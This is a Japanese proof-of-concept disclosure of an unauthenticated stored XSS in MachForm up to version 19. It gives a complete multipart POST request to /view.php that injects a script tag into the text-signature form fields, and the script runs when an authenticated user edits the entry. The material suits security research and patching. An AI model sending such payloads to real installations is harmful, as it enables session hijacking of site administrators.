
MachForm v19における認証されていない保存型XSS(Stored XSS)の概念実証。フォーム送信のテキスト署名パラメータを介したJavaScriptインジェクションを可能にします。
MachFormのバージョン19までが、認証されていない格納型クロスサイトスクリプティングの影響を受けます。これにより、有効なセッションを持つユーザーがフォームの結果を閲覧する際に影響を受けます。
対象のWebアプリケーションでは、テキスト署名が有効になっているフォームを使用する場合、脆弱なリソースへのリクエストがXSS攻撃を受けることが判明しました。脆弱なURL内のPOSTリクエストのボディパラメータがサニタイズされておらず、悪意のあるペイロードが埋め込まれ、被害者のブラウザでJavaScriptコードがトリガーされる可能性があります。
脆弱なパラメータは、フォーム内でテキスト署名コンポーネントが配置されている場所に応じて動的です。
element_{element_number}_text_signatureelement_{element_number}脆弱なパラメータにJavaScriptペイロードを注入することが可能です。

リクエスト:
POST /view.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://application-baseurl/
Content-Type: multipart/form-data; boundary=---------------------------6026266881719614557329755478
Content-Length: 1141
Origin: https://application-baseurl
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_1"
test5
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_4_text_signature"
"><script>alert(1)</script>
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_4"
"><script>alert(1)</script>
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_12"; filename=""
Content-Type: application/octet-stream
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_12_token"
3cc3be6c0c28b67f1c55eb23786b2869
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="form_id"
59032
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="submit_form"
1
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="page_number"
1
-----------------------------6026266881719614557329755478--
その後、認証されたユーザーがフォーム結果エントリを編集するときにペイロードがトリガーされます。

